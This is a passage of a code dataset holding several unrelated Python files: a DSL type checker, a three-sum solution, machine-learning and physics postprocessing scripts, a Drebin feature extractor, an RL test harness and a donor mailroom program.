astListValue.lista:\r\n if item!=None:\r\n if item.tipo==\"id\":\r\n tipo=self.visitIdentifierValue(item)\r\n else:\r\n tipo=self.visitIntValue(item)\r\n if tipo!=\"qinteger\":\r\n self.errores.append((astListValue.line,\"Semantic error: Assignment of incompatible types\"))\r\n control=True\r\n if control==False:\r\n tipo= \"qlist\"\r\n return tipo\r\n\r\n#METODO PARA COMPROBAR SI TODOS LOS ELEMENTOS DE UN ESTRATO SON DEL TIPO DE DATO CORRECTO Y PARA RETORNAR EL TIPO DE DATO CORRESPONDIENTE\r\n def visitEstratoValue(self,astEstrato):\r\n control=False\r\n tipo=\"None\"\r\n if astEstrato!=None:\r\n if astEstrato.nombre.tipo==\"cadena\":\r\n self.visitCadenaValue(astEstrato.nombre)\r\n else:\r\n tipo=self.visitIdentifierValue(astEstrato.nombre)\r\n if tipo!=\"qstring\":\r\n control=True\r\n if astEstrato.color.tipo==\"id\":\r\n tipo=self.visitIdentifierValue(astEstrato.color)\r\n else:\r\n tipo=self.visitColorValue(astEstrato.color)\r\n if tipo!=\"qcolor\":\r\n control=True\r\n\r\n if astEstrato.territorios.tipo==\"list\":\r\n tipo=self.visitListValue(astEstrato.territorios)\r\n else:\r\n tipo=self.visitIdentifierValue(astEstrato.territorios)\r\n\r\n if tipo!=\"qlist\":\r\n control=True\r\n if control==False:\r\n tipo= \"qstrata\"\r\n return tipo\r\n\r\n\r\n#METODO PARA COMPROBAR SI TODOS LOS ELEMENTOS DE UN COLOR SON DEL TIPO DE DATO CORRECTO Y PARA RETORNAR EL TIPO DE DATO CORRESPONDIENTE\r\n def visitColorValue(self,astcolor):\r\n control=False\r\n tipo=\"None\"\r\n if astcolor.color!=None:\r\n for item in astcolor.color:\r\n if item!=None:\r\n if item.tipo==\"id\":\r\n tipo=self.visitIdentifierValue(item)\r\n else:\r\n tipo=self.visitIntValue(item)\r\n if tipo!=\"qinteger\":\r\n self.errores.append((astcolor.line,\"Semantic error: Assignment of incompatible types\"))\r\n control=True\r\n if control==False:\r\n tipo= \"qcolor\"\r\n return tipo\r\n\r\n\r\n#METODO PARA VERIFICAR SI UN IDENTIFICARDOR INICIAIZADO FUE DELCARADO---------------------------------------------------\r\n def visitIdentifierReference(self,identifierReference):\r\n if identifierReference!=None:\r\n info=self.st.entry(identifierReference.entry)\r\n if info.declared==True:\r\n info.init=True\r\n return info.type\r\n else:\r\n self.errores.append((identifierReference.line,\"Semantic error: Using the variable %s not be declared\"%info.lexeme))\r\n return \"None\"\r\n\r\n\r\n#METODO PARA VERIFICAR SI UN IDENTIFICADOR DECLARADO NO HA SIDO DECLARADO ANTERIORMENTE---------------------------------\r\n def visitIdentifierDeclaration(self,identifierDeclaration):\r\n if identifierDeclaration!=None:\r\n info=self.st.entry(identifierDeclaration.entry)\r\n if info.declared==True:\r\n self.errores.append((identifierDeclaration.line,\"Semantic error: The Variable %s already been declared\"%info.lexeme))\r\n else:\r\n info.declared=True\r\n return\r\n\r\n\r\n#METODO PARA VERIFICAR SI UN IDENTIFICADOR QUE ESTA SIENDO UTILIZADO COMO VALOR FUE DECLARO E INICILAIZADO--------------\r\n def visitIdentifierValue(self,astIdentifierValue):\r\n if astIdentifierValue!=None:\r\n info=self.st.entry(astIdentifierValue.entry)\r\n tipodatos=info.type\r\n if info.declared==False:\r\n tipodatos=\"None\"\r\n self.errores.append((astIdentifierValue.line,\"Semantic error: The Variable %s has not been declared\"%info.lexeme))\r\n if info.init==False:\r\n self.errores.append((astIdentifierValue.line,\"Semantic error: Using Variable %s not be initialized\"%info.lexeme))\r\n return tipodatos\r\n\r\n\r\n\r\n#METODO PARA COMPROBAR SI TODOS LOS ELEMENTOS A REPRESENTAR SON ESTRATOS------------------------------------------------\r\n def visitImpresion(self,astImpresion):\r\n if astImpresion!=None:\r\n if astImpresion.estratos!=None:\r\n for item in astImpresion.estratos:\r\n if item.tipo==\"id\":\r\n tipo=self.visitIdentifierValue(item)\r\n if tipo!=\"qstrata\":\r\n self.errores.append((astImpresion.line,\"Semantic error: Assignment of incompatible types\"))\r\n else:\r\n tipo=self.visitEstratoValue(item)\r\n if tipo!=\"qstrata\":\r\n self.errores.append((astImpresion.line,\"Semantic error: Assignment of incompatible types\"))\r\n\r\n\r\n","sub_path":"Cheker.py","file_name":"Cheker.py","file_ext":"py","file_size_in_byte":7666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"408108815","text":"# -*-coding:utf-8-*-\n# AUTHOR:tyltr\n# TIME :2018/9/29\n\"\"\"\n描述\n给出一个有n个整数的数组S,在S中找到三个整数a, b, c,找到所有使得a + b + c = 0的三元组。\n\n在三元组(a, b, c),要求a <= b <= c。\n\n结果不能包含重复的三元组。\n\n您在真实的面试中是否遇到过这个题?\n样例\n如S = {-1 0 1 2 -1 -4}, 你需要返回的三元组集合的是:\n\n(-1, 0, 1)\n\n(-1, -1, 2)\n\n相关题目\n\n\"\"\"\nclass Solution:\n \"\"\"\n @param numbers: Give an array numbers of n integer\n @return: Find all unique triplets in the array which gives the sum of zero.\n \"\"\"\n\n def threeSum(self, numbers):\n length = len(numbers)\n if length <=3:\n return []\n\n numbers.sort()\n print(numbers)\n e = length - 1\n s= 0\n res = []\n while s < e:\n a = numbers[s]\n j = s + 1\n k = e\n while j < k:\n b = numbers[j]\n c = numbers[k]\n if a + b + c == 0:\n res.append([a, b, c])\n if a + b + c <= 0:\n while b == numbers[j] and j < k:\n j += 1\n if a + b + c >= 0:\n while c == numbers[k] and j < k:\n k -= 1\n while a == numbers[s] and s < e:\n s += 1\n return res\n\nif __name__ == '__main__':\n l = [1,-3,2,0,0,0,0]\n res = Solution().threeSum(l)\n print(res)\n\n\n\n\n\n","sub_path":"LintCode/057_三数之和.py","file_name":"057_三数之和.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"330325900","text":"import kdd\nfrom wisardpkg import DataSet\nfrom bagging import Regression_Bagging\nimport time\n\nfiles = open(\"bagging-test.txt\", \"w+\")\n\nds_train = DataSet()\n\nds = DataSet(\"DS_train.wpkds\")\n\nfor i in range(0, len(ds)):\n ds_train.add(ds.get(i), ds.getY(i))\n\nds_test = DataSet(\"DS_test.wpkds\")\n\nfor learners in range(100, 1100, 100):\n for i in range(1, 11):\n t_train = time.time()\n ensemble = Regression_Bagging(ds_train, learners)\n ensemble.ensemble()\n t_train = t_train - time.time()\n t_test = time.time()\n out = ensemble.predict(ds_test)\n t_test = t_test - time.time()\n kdd.create_output_file(out, \"bagging_\"+str(learners))\n files.write(\"round: \" + str(i) + \" - learners: \" + str(learners) + \"; training time: \" + str(t_train) + \"; test time: \" + str(t_test) + \"\\n\")\n\nfiles.close()\n","sub_path":"regression/kdd/test_bagging.py","file_name":"test_bagging.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"410049673","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Sep 15 12:53:28 2020\r\n@author: Eagle\r\n\r\n# 功能介绍\r\n\r\n# 变量说明\r\n\r\n# 注意事项(针对不同工况,需调整的参数)\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\n# import matplotlib.pyplot as plt\r\nimport csv\r\n\r\nPi = np.arccos(-1.0)\r\n\r\nRadius = 0.05\r\nDp = 0.003\r\nRop = 1.0\r\n\r\nRot = 60 # rpm\r\nVwall = 6.8 * Radius\r\n\r\ntitle_line = 63\r\ntime_start = 3.0\r\ntime_end = 3.99\r\ntime_step = 0.01\r\n\r\nXcenter = 0.0\r\nYcenter = 0.0\r\n\r\nR0 = Radius - 0.0018\r\nQc = 95\r\nQs = 5\r\n\r\nQ0 = (Qc - 0.5 * Qs) / 180.0 * Pi\r\nQ1 = (Qc + Qs) / 180.0 * Pi\r\n\r\noutput = open('0.7_72000_95°result.dat', 'w', encoding='gbk')\r\n\r\nwith open('total data 0.7_72000_R_T.csv') as L:\r\n for i in range(title_line):\r\n title = L.readline()\r\n\r\n for time in np.arange(time_start, time_end + time_step, time_step):\r\n title = L.readline()\r\n\r\n line = L.readline()\r\n temp = line.split(',')\r\n print(temp[1])\r\n\r\n line = L.readline()\r\n ID = line.split(',')\r\n\r\n line = L.readline()\r\n X = line.split(',')\r\n # print(X)\r\n\r\n line = L.readline()\r\n Y = line.split(',')\r\n\r\n line = L.readline()\r\n Z = line.split(',')\r\n\r\n line = L.readline()\r\n Vx = line.split(',')\r\n\r\n line = L.readline()\r\n Vy = line.split(',')\r\n\r\n line = L.readline()\r\n Vz = line.split(',')\r\n\r\n line = L.readline()\r\n Wx = line.split(',')\r\n\r\n line = L.readline()\r\n Wy = line.split(',')\r\n\r\n line = L.readline()\r\n Wz = line.split(',')\r\n\r\n sig_n = 0\r\n sig_vt = 0.0\r\n sig_vz = 0.0\r\n\r\n sig_vx = 0.0\r\n sig_vy = 0.0\r\n sig_v2 = 0.0\r\n\r\n sig_wx = 0.0\r\n sig_wy = 0.0\r\n sig_wz = 0.0\r\n sig_w2 = 0.0\r\n\r\n num = len(ID) - 1\r\n for n in range(num):\r\n i = n + 1\r\n\r\n xp = float(X[i])\r\n yp = float(Y[i])\r\n zp = float(Z[i])\r\n vxp = float(Vx[i])\r\n vyp = float(Vy[i])\r\n vzp = float(Vz[i])\r\n wxp = float(Wx[i])\r\n wyp = float(Wy[i])\r\n wzp = float(Wz[i])\r\n\r\n rad = np.sqrt(pow(xp - Xcenter, 2) + pow(yp - Ycenter, 2))\r\n if xp - Xcenter > 0:\r\n theta = np.arccos((Ycenter - yp) / rad)\r\n else:\r\n theta = -np.arccos((Ycenter - yp) / rad)\r\n\r\n # angle = theta/Pi*180\r\n # if 25 < angle and angle < 30 :\r\n # print(rad/Radius, angle)\r\n\r\n if rad > R0:\r\n if Q0 < theta and theta < Q1:\r\n sig_n = sig_n + 1\r\n\r\n # 1 tangential velocity\r\n V_t = ((Ycenter - yp) * vxp + (xp - Xcenter) * vyp) / rad\r\n vt = Vwall - V_t\r\n\r\n sig_vt = sig_vt + vt\r\n sig_vz = sig_vz + vzp\r\n\r\n # translational granular temperature\r\n sig_v2 = sig_v2 + vxp * vxp + vyp * vyp + vzp * vzp\r\n sig_vx = sig_vx + vxp\r\n sig_vy = sig_vy + vyp\r\n\r\n # rotational granular temperature\r\n sig_wx = sig_wx + wxp\r\n sig_wy = sig_wy + wyp\r\n sig_wz = sig_wz + wzp\r\n sig_w2 = sig_w2 + wxp * wxp + wyp * wyp + wzp * wzp\r\n\r\n # Statistics\r\n if sig_n > 0:\r\n vta = sig_vt / sig_n\r\n\r\n vxa = sig_vx / sig_n\r\n vya = sig_vy / sig_n\r\n vza = sig_vz / sig_n\r\n v2a = sig_v2 / sig_n\r\n T = (v2a - vxa * vxa - vya * vya - vza * vza) / 3.0\r\n\r\n wxa = sig_wx / sig_n\r\n wya = sig_wy / sig_n\r\n wza = sig_wz / sig_n\r\n w2a = sig_w2 / sig_n\r\n R = (w2a - wxa * wxa - wya * wya - wza * wza) / 3.0 * 0.1 * Dp * Dp\r\n\r\n output.write(\r\n str(time) + str(',') + str(sig_n) + str(',') + str(vta) + str(',') + str(vza) + str(',') + str(T) + str(\r\n ',') + str(R))\r\n output.write('\\n')\r\n\r\n output.close()\r\n\r\n# f = open('result.xls') # 8 -18 秒数据\r\n# L = list(csv.reader(f))\r\n","sub_path":"球形颗粒python后处理程序/Calculation of particle temperature.py","file_name":"Calculation of particle temperature.py","file_ext":"py","file_size_in_byte":4193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"362918137","text":"'''\nThis script is for timeseries segmentation in problem 8\n'''\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nfrom matplotlib import pyplot as plt\nfrom itertools import cycle\n\n# read in the data\ndf = pd.read_csv(\"payems.csv\", skiprows= 5)\n\n# cleaning the data: add datetime index and perform linear interpolaion\ndf.index = pd.to_datetime(df['date'], format = '%m/%d/%Y')\n#df.index = df.index.to_period('M').to_timestamp('M')\ndel df['date']\ndf_m = df.resample('MS').interpolate(method = 'linear')\n\n# we will segment the df_m into 14 separate timeseries\npeak_list = ['1929-08-01',\n '1937-05-01',\n '1945-02-01',\n '1948-11-01',\n '1953-07-01',\n '1957-08-01',\n '1960-04-01',\n '1969-12-01',\n '1973-11-01',\n '1980-01-01',\n '1981-07-01',\n '1990-07-01',\n '2001-03-01',\n '2007-12-01'\n ]\nfor i, date in enumerate(peak_list):\n dfname = str('data')+str(i)\n date_index = pd.to_datetime(date, format = '%Y-%m-%d')\n year = date_index.year\n month = date_index.month\n day = date_index.day\n if date == '1929-08-01' :\n start = pd.to_datetime('1929-07-01')\n else:\n start = pd.to_datetime(str(year-1)+'-'+str(month)+'-'+str(day))\n end = pd.to_datetime(str(year+7)+'-'+str(month)+'-'+str(day))\n df_sub = df_m.loc[(df_m.index >= start)&(df_m.index <= end),:]\n # we will do the normalization now\n base = float(df_sub.loc[(df_sub.index == date_index),'payems'].values)\n jobgrowth = {date:df_sub.payems.values *(1/base)}\n # we create a new time series with new index label\n if date == '1929-08-01' :\n df_index = range(-1, 85)\n else:\n df_index = range(-12, 85)\n df_result = pd.DataFrame(jobgrowth, index = df_index)\n del df_sub\n vars()[dfname] = df_result\n\n#plotting\n# set some linestyle cycler\nlines = [\"-\",\"--\",\"-.\"]\nlinecycler = cycle(lines)\n# start plotting\njobgrowth_fig = plt.figure(figsize = (10, 6))\n\nfor i, date in enumerate(peak_list):\n data = globals()[str('data')+str(i)]\n if i == 0:\n plt.plot(data.index, data[date], \"k-\", lw = 3)\n if i == 13:\n plt.plot(data.index, data[date], \"r-\", lw = 3)\n else:\n plt.plot(data.index, data[date], next(linecycler), lw = 1)\n\nplt.legend(loc='upper left', ncol = 3)\nxtick_new = [-12, 0, 12, 24, 36, 48, 60, 72, 84]\nxticklabel_new = ['-1yr', 'peak', '+1yr', '+2yr', '+3yr', '+4yr', '+5yr', '+6yr', '+7yr']\nplt.xticks(xtick_new, xticklabel_new)\nplt.axhline(y = 1, ls = \"--\", color =\"grey\")\nplt.axvline(x = 0, ls = \"--\", color =\"grey\")\nplt.title(\"Job growth during major recession periods (peak normalized to 1)\")\nplt.show()\nprint(\"There were other recessions worse than the Great Recession, especially during the first year of the peak. \\nHowever, what makes the Great Recession difference is its long lasting negative impact on jo growth, which only came back to peak level after 7 years\")\n","sub_path":"probsets/computation/probset2/problem8_probset.py","file_name":"problem8_probset.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"40321168","text":"import gym\nimport time\nimport yaml\nimport numpy as np\nimport argparse\nimport os\nimport pprint\nimport csv\nimport pickle\nimport os.path as osp\nimport common.tf_util as U\nfrom datetime import datetime\n\nfrom common.tf_util import make_session\nfrom common.misc_util import set_global_seeds\nfrom envs import wrappers\nfrom algorithms import trpo\nfrom envs.reacher_benchmark_env.reacher_benchmark import clip_j, JOINT_ANGLE_LIMIT, ENV_CONFIG_PATH\n\n\nDEFAULT_LOG_DIR = 'experiments/ppo_trpo/trpo/' # 训练模型所在路径\nmeanfile_name = \"Mean_new.csv\"\ntest_logName = \"test_new.csv\"\npickle_name = \"test.txt\"\ntest_config_dir = 'config/trpo_test_config.yaml'\nenv_config_dir = ENV_CONFIG_PATH\nobs_clip = clip_j # 是否clip obs\n\n\ndef make_csv(filename, EXT):\n # 在filename文件夹下创建csv文件\n if not filename.endswith(EXT):\n if osp.isdir(filename):\n filename = osp.join(filename, EXT)\n else:\n filename = filename + \".\" + EXT\n f = open(filename, \"at\")\n return f\n\n\ndef GoThrough_XYZ_target():\n\n x_range = np.linspace(0, 30, 3)\n y_range = [0]\n z_range = np.linspace(0, 30, 3)\n all_pos = []\n for i in range(len(x_range)):\n for j in range(len(z_range)):\n for k in range(len(y_range)):\n all_pos.append([x_range[i]+300, y_range[k], z_range[j]+200])\n\n print(\"max_episodes:\", np.shape(all_pos)[0])\n return all_pos\n\n\ndef CalculateMean(args, config, total_rew, total_dis, log_dir):\n # 创建Mean.csv文件(记录每个实验的平均测试结果, 保存在总文件夹下)\n filename_top = log_dir\n filename_mean = make_csv(filename_top, meanfile_name)\n logger_mean = csv.DictWriter(filename_mean, fieldnames=('exp_id', 'MeanRew', 'MeanDis'))\n logger_mean.writeheader()\n filename_mean.flush()\n picinfo = {\"exp_id\": [], \"MeanRew\": [], \"MeanDis\": []}\n if not os.path.exists(log_dir+'/mean.txt'):\n # 创建Mean.txt文件(pickle)\n with open(log_dir+'/mean.txt', 'wb') as file:\n pickle.dump(picinfo, file)\n # 写入Mean.csv\n meaninfo = {\"exp_id\": args.exp_id, \"MeanRew\": np.mean(total_rew), \"MeanDis\": np.mean(total_dis)}\n # meaninfo = {\"exp_id\": args.exp_id, \"timesteps_per_batch\": config['timesteps_per_batch'],\n # \"vf_stepsize\": config['vf_stepsize'], \"hidden_layers\": config['policy']['hidden_layers'],\n # \"vf_iters\": config['vf_iters'], \"MeanRew\": np.mean(total_rew), \"MeanDis\": np.mean(total_dis)}\n if logger_mean:\n logger_mean.writerow(meaninfo)\n filename_mean.flush()\n\n with open(log_dir + '/mean.txt', 'rb') as file:\n beforeMean = pickle.load(file)\n for key in beforeMean.keys():\n beforeMean[key].append(meaninfo[key])\n with open(log_dir + '/mean.txt', 'wb') as file:\n pickle.dump(beforeMean, file)\n\n\ndef make_test_file(log_dir):\n # 创建test.csv文件(记录每个episode的测试结果,保存在对应的测试文件夹下)\n filename = log_dir\n f = make_csv(filename, test_logName)\n # f.write('#%s\\n' % json.dumps({'env_id': env.spec and env.spec.id,\n # 'vf_stepsize': config['vf_stepsize'],\n # 'hidden_layers': config['policy']['hidden_layers'],\n # 'vf_iters': config['vf_iters'],\n # 'timesteps_per_batch': config['timesteps_per_batch']}))\n\n logger = csv.DictWriter(f, fieldnames=('episode_rew', 'distance', 'target_pos'))\n logger.writeheader()\n f.flush()\n return logger, f\n\n\ndef write_test_csv(logger, f, epinfo):\n logger.writerow(epinfo)\n f.flush()\n\n\ndef write_pickle_file(log_dir,file_name, picinfo):\n with open(log_dir + '/' +file_name, 'wb') as file:\n pickle.dump(picinfo, file)\n\n\ndef Compute_var(obs, action, compute_var):\n obs = np.array(obs).reshape(1, 9)\n action = np.array(action).reshape(1, 6)\n args1 = obs, action\n ob_var = compute_var(*args1)\n return ob_var\n\n\ndef main():\n assert (JOINT_ANGLE_LIMIT == 5), \"JOINT_ANGLE_LIMIT in reacher_benchmark.py must be 5!\"\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--seed', help='random seed', default=0)\n parser.add_argument('--exp-id', help='experiment id', default=None)\n parser.add_argument('--env-id', help='environment id', default='SpaceInvadersNoFrameskip-v4')\n\n args = parser.parse_args()\n if args.env_id.startswith('ReacherBenchmarkGazeboEnv'):\n env_id_name = 'ReacherBenchmarkEnv-v1'\n else:\n env_id_name = args.env_id\n log_dir = os.path.join(DEFAULT_LOG_DIR, args.exp_id)\n train_env_config_dir = os.path.join(log_dir, 'ENV_CONFIG')\n\n # read train_env_config file\n with open(train_env_config_dir, 'r') as train_env_config_file:\n train_env_config = yaml.load(train_env_config_file)\n # read test_env_config file\n with open(env_config_dir, 'r') as env_config_file:\n test_env_config = yaml.load(env_config_file)\n\n # read test_config file\n with open(test_config_dir, 'r') as test_config_file:\n test_config = yaml.load(test_config_file)\n # make test dir\n test_dir = os.path.join(log_dir, 'test0', test_config['test_type'], test_config['ObjTestType'],\n datetime.now().strftime('%Y%m%d-%H%M'))\n if not osp.isdir(test_dir):\n os.makedirs(test_dir, exist_ok=True)\n\n # read train_config file\n config = yaml.load(open(os.path.join(log_dir, 'CONFIG')))\n pprint.pprint(config)\n\n # write test_config file\n testType = test_config['test_type']\n obj_pos = test_config['given_obj_pos']\n test_info = {'test_type': test_config['test_type'],\n 'ObjTestType': test_config['ObjTestType'],\n 'max_episodes': test_config['max_episodes'],\n 'given_obj_pos': test_config['given_obj_pos'],\n 'all_pos': test_config['all_pos'],\n 'train_env_config': train_env_config,\n 'test_env_config': test_env_config, }\n yaml.dump(test_info, open(os.path.join(test_dir, 'TEST_CONFIG'), 'w'))\n\n # make env\n set_global_seeds(int(args.seed))\n if args.env_id.startswith('PickPlace'):\n env = gym.make(args.env_id)\n env = wrappers.wrap_pick_place(env, obs_type=config['obs_type'], reward_type=config['reward_type'])\n elif args.env_id.startswith('Reacher'):\n env = gym.make(args.env_id)\n env = wrappers.wrap_reacher(env)\n\n else:\n env = wrappers.make_atari(args.env_id)\n env = wrappers.wrap_deepmind(env, frame_stack=True)\n # env.render(mode='human')\n # time.sleep(5)\n policy_config = config['policy']\n if config['obs_type'] == 'image_only':\n policy = trpo.CnnPolicy(name='pi', ob_space=env.observation_space, ac_space=env.action_space)\n elif config['obs_type'] == 'image_with_pose':\n policy = trpo.CnnPolicyDict(name='pi', ob_space=env.observation_space, ac_space=env.action_space)\n elif config['obs_type'] == 'pose_only':\n policy = trpo.MlpPolicy(name='pi', ob_space=env.observation_space, ac_space=env.action_space,\n hid_size=policy_config['hidden_size'],\n num_hid_layers=policy_config['hidden_layers'],\n gaussian_fixed_var=policy_config['gaussian_fixed_var'])\n\n # load model\n sess = make_session(make_default=True)\n model_dir = os.path.join(log_dir, 'model')\n policy.load(sess, model_dir)\n\n # make csv file\n if test_config[testType]['save_csv']:\n logger, f = make_test_file(test_dir)\n\n var = policy.pd.std\n ob = U.get_placeholder_cached(name=\"ob\")\n ac = policy.pdtype.sample_placeholder([None])\n compute_var = U.function([ob, ac], var)\n\n total_rew = []\n total_dis = []\n total_pos = []\n\n # define max_episodes and given_pos for ObjTestType\n assert test_config['ObjTestType'] in ['Random', 'GoThrough_XYZ', 'AllPos', 'GivenPos']\n if 'GivenPos' == test_config['ObjTestType']:\n max_episodes = 1\n given_pos = obj_pos\n print(\"Test one given obj pos!\")\n elif 'Random' == test_config['ObjTestType']:\n max_episodes = test_config['max_episodes']\n given_pos = [None] * max_episodes\n print(\"Random test! // Test number:\", max_episodes)\n elif 'GoThrough_XYZ' == test_config['ObjTestType']:\n given_pos = GoThrough_XYZ_target()\n max_episodes = np.shape(given_pos)[0]\n print(\"GoThrough_XYZ test! // Test number:\", max_episodes)\n elif 'AllPos' == test_config['ObjTestType']:\n given_pos = test_config['all_pos']\n max_episodes = np.shape(given_pos)[0]\n print(\"All Given Pos test! // Test number:\", max_episodes)\n\n # make plot_dir\n plot_dir = os.path.join(test_dir, 'plot')\n if not osp.isdir(plot_dir):\n os.makedirs(plot_dir, exist_ok=True)\n\n # start test\n for i in range(max_episodes):\n\n obs = env.reset(given_pos[i])\n done = False\n episode_rew = 0\n total_action = []\n total_obs = []\n total_var = []\n while not done:\n action = policy.act(0, obs)[0] # 0 stochastic = False\n ob_var = Compute_var(obs, action, compute_var)\n total_action.append(action)\n total_obs.append(obs)\n total_var.append(ob_var)\n obs, rew, done, info = env.step(action)\n episode_rew += rew\n\n dis = np.sqrt(np.square(obs[-3])+np.square(obs[-2])+np.square(obs[-1])) # 计算distance\n print(\"Episode reward=\", episode_rew)\n print(\"Distance=\", dis)\n total_rew.append(episode_rew)\n total_dis.append(dis)\n total_pos.append(info['object_pos'])\n\n # define plot_name by object_pos info\n plot_name = str(int(info['object_pos'][0])) + '_' + \\\n str(int(info['object_pos'][1])) + '_' + \\\n str(int(info['object_pos'][2]))\n\n # 写入test.csv\n csvinfo = {\"episode_rew\": round(episode_rew, 6), \"distance\": round(dis, 6), \"target_pos\": info['object_pos']}\n if test_config[testType]['save_csv']:\n write_test_csv(logger, f, csvinfo)\n\n # 保存1个episode的obs\n if test_config[testType]['save_obs']:\n if obs_clip:\n write_pickle_file(plot_dir, plot_name + \"obs_clip.txt\", total_obs)\n write_pickle_file(plot_dir, plot_name + \"distance.txt\", dis)\n if test_config[testType]['save_action']:\n write_pickle_file(plot_dir, plot_name + \"action.txt\", total_action)\n else:\n write_pickle_file(plot_dir, plot_name + \"obs_no_clip.txt\", total_obs)\n\n # 保存1个episode的var\n if test_config[testType]['save_var']:\n varinfo = {\"action\": total_action, \"var\": total_var}\n write_pickle_file(plot_dir, plot_name + \"var.txt\", varinfo)\n\n # 保存所有episode的reward, distance, target_pos\n picinfo = {\"episode_rew\": total_rew, \"distance\": total_dis, \"target_pos\": total_pos}\n if test_config[testType]['save_pickle']:\n write_pickle_file(test_dir, pickle_name, picinfo)\n\n # 保存所有episode下的平均reward, 平均distance\n if test_config[testType]['save_mean']:\n mean_dir = os.path.join(log_dir, 'test0')\n CalculateMean(args, config, total_rew, total_dis, mean_dir)\n\n env.close()\n\n\nif __name__ == '__main__':\n main()\n # GoThrough_XYZ_target()\n # env = gym.make('Reacher2BenchmarkEnv-v0')\n # import sys\n # sys.path.append('..')\n # from rllib.envs.reacher_benchmark_env.reacher_benchmark import ReacherBenchmarkEnv\n #\n # env = ReacherBenchmarkEnv('uniform', [1, 2], 'PIROBOT')\n # env.get_reset_obj_pos([1,2,3])\n # obs = env.reset()\n # print(obs)\n","sub_path":"rllib/test_trpo_sp.py","file_name":"test_trpo_sp.py","file_ext":"py","file_size_in_byte":11842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"14467685","text":"import os\n\nimport selftool\n\npath=r'C:\\Users\\lenovo\\Desktop\\resource\\drebin\\feature_vectors\\feature_vectors'\n# path=r'C:\\Users\\lenovo\\Desktop\\temp1'\ncallset=set()\napicallset=set()\nflag=5000\nfor file in os.listdir(path)[0:flag]:\n filepath=os.path.join(path,file)\n with open(filepath,'r') as f:\n for line in f:\n if line.startswith('call'):\n callset.add(line.strip())\n elif line.startswith('api_call'):\n apicallset.add(line.strip())\n\ncallfile=r'C:\\Users\\lenovo\\Desktop\\drebincall\\call.txt'\napicallfile=r'C:\\Users\\lenovo\\Desktop\\drebincall\\apicall.txt'\nselftool.writeline(callset, callfile)\nselftool.writeline(apicallset, apicallfile)","sub_path":"tools/getcall.py","file_name":"getcall.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"448135051","text":"#----------------------------------------#\n# Title: mailroom4.py\n# Revised mailroom3.py\n# Claire Yoon,2019-02-18,New file\n#----------------------------------------#\n\n# Convert main donor data structure to be a dict.\ndonor_dict = { 'Will Gates': [10000, 20000, 300000],\n 'Conan Obrien': [20000],\n 'Mark Zucker' : [30000, 12000],\n 'Jeff Bezos' : [50000],\n 'Tom Hardy' : [12000, 40000]\n }\n\nname_mapping = {i: i.lower() for i in donor_dict.keys()}\n\n# listing donors\ndef print_list():\n return [i for i in name_mapping.keys()]\n\n# adding or updating donors\ndef update_donor(name, amount):\n new_amount = {name: [amount]}\n donor_dict.update(new_amount)\n name_mapping.update({name: name.lower()})\n return (donor_dict)\n\n# generating thank you text\ndef write_thx(name, history_amount):\n return \"\\nDear {},\\n\\nOur organization would like to thank you for your donation of ${} so far.\\nOur organization relies on the generosity of donors such as yourself.\\n\\nThank you once again. \\n\".format(name, history_amount)\n\n# Unit tests should test the data manipulation logic code: generating thank you text, adding or updating donors, and listing donors.\ndef thx_single():\n while(True):\n name = input(\"Please enter a full name (enter 'list' to see list): \")\n name = name.rstrip().lstrip()\n\n # If user types 'list'\n # listing donors\n if name.lower() == 'list':\n print(print_list())\n\n # If user types other than list - applies the same logic\n else:\n amount = float(input(\"Please enter amount of donation (in numbers): \"))\n\n #for existing name\n if name.lower() in name_mapping.values():\n for camel, lower in name_mapping.items():\n if lower == name.lower():\n name = camel\n donors_amount = donor_dict.get(name)\n # append input amount value to donors_amount list\n donors_amount.append(amount)\n print(\"Donor list has been updated: \",donor_dict)\n history_amount = 0\n for i in range(len(donors_amount)):\n history_amount += donors_amount[i]\n\n #for newly added name\n else :\n name_toList = name.lower().split(' ')\n for i in range(len(name_toList)):\n name_toList[i] = name_toList[i].capitalize()\n name = \" \".join(name_toList)\n # adding or updating donors\n print(\"Donor list has been updated: \",update_donor(name,amount))\n history_amount = amount\n # generating thank you text\n print(write_thx(name, history_amount))\n break\n return\n\ndef get_report():\n #data logic\n #using comprehension\n report_lst = []\n [report_lst.append([i, int(sum(donor_dict.get(i))), len(donor_dict.get(i)),\n round((sum(donor_dict.get(i)) / len(donor_dict.get(i))), 2)]) for i in donor_dict.keys()]\n print(report_lst)\n return report_lst\n\ndef print_report(report):\n print()\n print(\"\\t\\t\\t\\t<>\")\n # user presentation\n print(\"Donor Name | Total Given | Num Gifts | Average Gift\\n------------------------------------------------------------\")\n for l in report:\n print ('{:<20}'.format(l[0]), end='')\n print ('$','{:<12}'.format(l[1]), end='')\n print ('{:<11}'.format(l[2]), end='')\n print ('$','{:<12}'.format(l[3]))\n print()\n\ndef display_report():\n\n print_report(get_report())\n\ndef write_file(key):\n amount = sum(donor_dict.get(key))\n donor_name = key.split(' ')\n filename = '_'.join(donor_name) + '_Thx_Letter'\n # open a file and write body\n letter = open(filename, \"w\")\n letter_body = letter_text(donor_name[0], donor_name[1], amount)\n letter.write(letter_body)\n letter.close()\n\ndef letter_text(fname, lname, amount):\n return \"\\nDear {} {},\\n\\nOur organization would like to thank you for your donation of ${} so far.\\nOur organization relies on the generosity of donors such as yourself.\\n\\nThank you once again. \\n\".format(fname, lname, amount)\n\n\ndef thx_all():\n for key in donor_dict.keys():\n write_file(key)\n print(\"\\n All thank-you letters have been created. Please check your current folder. \\n \")\n return\n\ndef equit():\n exit()\n\ndef 